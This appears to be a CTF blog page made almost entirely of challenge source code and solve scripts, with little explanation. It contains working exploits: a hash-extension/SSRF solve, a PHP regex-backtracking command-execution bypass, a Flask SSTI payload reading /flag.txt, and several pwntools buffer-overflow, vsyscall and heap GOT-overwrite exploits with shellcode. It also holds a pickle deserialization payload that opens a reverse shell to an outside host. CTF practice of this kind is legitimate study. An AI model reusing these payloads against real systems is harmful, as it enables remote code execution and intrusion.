Antel0p3's blog|

#!/usr/bin/python
# -*- coding: utf-8 -*-
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip,):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if 'scan' in self.action:
                tmpfile = open('./%s/result.txt' % self.sandbox, 'w')
                resp = scan(self.param)
                if resp == 'Connection Timeout':
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200
            if 'read' in self.action:
                f = open('./%s/result.txt' % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
    
            if result['code'] == 500:
                result['data'] = 'Action Error'
        else:
            result['code'] = 500
            result['msg'] = 'Sign Error'
        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:
            return True
        else:
            return False

    # generate Sign For Action Scan.

@app.route('/geneSign', methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get('param', ''))
    action = 'scan'
    return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get('action'))
    param = urllib.unquote(request.args.get('param', ''))
    sign = urllib.unquote(request.cookies.get('sign'))
    ip = request.remote_addr

    if waf(param):
        return 'No Hacker!!!!'

    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    return open('code.txt', 'r').read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return 'Connection Timeout'

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check = param.strip().lower()
    if check.startswith('gopher') or check.startswith('file'):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

import requests

def getSign(dest):
    url = 'http://node4.anna.nssctf.cn:28719/geneSign'
    data = {'param': dest + 'read'}
    return requests.post(url=url, params=data).text

def get_content(dest):
    url = 'http://node4.anna.nssctf.cn:28719/De1ta'
    data = {'param': dest}
    cookies = {'action': 'readscan', 'sign': str(getSign(dest))}
    res = requests.post(url=url, params=data, cookies=cookies)
    print(res.text)

dst = 'flag.txt'

get_content(dst)
# {"code": 200, "data": "NSSCTF{cbbd7581-79f0-4636-b907-c45578de18f6}\n"}

import requests

js = '{"cmd":"system(\'ls\');", "t":"' + '@' * 1000000 + '"}'	# 回溯得用@^等特殊字符
data = { 'letter': js }
res = requests.post(url='http://node4.anna.nssctf.cn:28296/', data=data)
print(res.text)

js = '{"cmd":"?><?=`ls /`;?>", "t":"' + '@' * 1000000 + '"}'
js = '{"cmd":"?><?=`nl /f*`;?>", "t":"' + '@' * 1000000 + '"}'	# cat, tac, flag都被过滤

from pwn import *
import sys

context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
    mode = sys.argv[1]
proc = process("./b0verfl0w")

gscript = '''
    b * 0x0804857A
    c
'''
if mode == '-d':
    gdb.attach(proc, gdbscript=gscript)

# shellcode, from https://shell-storm.org/shellcode/files/shellcode-811.html
shcode = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"   

ret = 0x0804836a
jmp_esp = 0x08048504
sub_esp_jmp = asm("sub esp, 0x28;jmp esp")	# move esp back to s, then jmp to esp

proc.sendlineafter(b'name?', shcode.ljust(0x24, b'h') + p32(jmp_esp) + sub_esp_jmp)

proc.interactive()
pause()

# File "/app/app.py", line 35, in secret
    if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))
    if 'ciscn' in a.lower():
        return 'flag detected!'

    return a

import base64
from urllib.parse import quote


def rc4_main(key="HereIsTreasure", message="ciscn"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况，小于256不断重复填充即可
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串，加密后是：%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是：%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


rc4_main("HereIsTreasure", "{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}")

from pwn import *

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

rdbyte = 0x00
while True:
    client = remote("localhost", 1514)
    client.sendlineafter(b'Length', b'60')
    payload = b'h' * 0x48 + p64(0xffffffffff600800) * 2		# padding 加上两次ret
    payload += b'\x8b' + p8(rdbyte)		# 覆盖倒数两个字节
    rdbyte += 0x10	# 爆破
    client.sendline(payload)
    if b'{' in client.recvall():
        break
    client.close()
# flag{g0ttem_b0yz}

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]


@ app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message
    return rsp


class GWHT():
    def __init__(self):
        pass
    if __name__ == '__main__':
        app.run('0.0.0.0', port=80)

import pickle
import pickletools
import base64

poc = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/8888 0>&1"'		# 这里需要一个自己的vps公网ip
o.'''

pickletools.dis(poc)
print(poc)
print(base64.b64encode(poc))
# KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwOS4zNi4yNi84ODg4IDA+JjEiJwpvLg==

from pwn import *
from ctypes import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')
mode = ''
if len(sys.argv) > 1:
    mode = sys.argv[1]

proc = process("./dream_heaps")
belf = ELF("./dream_heaps")
libc = ELF("./libc-2.27.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size, con):
    sla(b'> ', b'1')
    sla(b'dream?', str(size).encode())
    sa(b'dream?', con)

def edt(idx, con):
    sla(b'> ', b'3')
    sla(b'change?', str(idx).encode())
    s(con[:6])

def shw(idx):
    sla(b'> ', b'2')
    sla(b'read?', str(idx).encode())


def rmv(idx):
    sla(b'> ', b'4')
    sla(b'delete?', str(idx).encode())


gscript = '''
    unhook-chunks
    b * 0x400b2d
    sq 0x00000000006020A0
'''
if mode == '-d':
    gdb.attach(proc, gdbscript=gscript)

heap_arr = 0x00000000006020A0
free_got = belf.got['free']

# 泄露libc
shw(-263021)
libc_base = ga() - libc.sym['puts']
success("libc base: " + hex(libc_base))

# heap_arr 溢出
for i in range(18):
    add(0x10, b'/bin/sh')
# size为0x602018
add(free_got, b'h')

edt(17, p64(libc_base + libc.sym['system']))
rmv(0)

pi()
pause()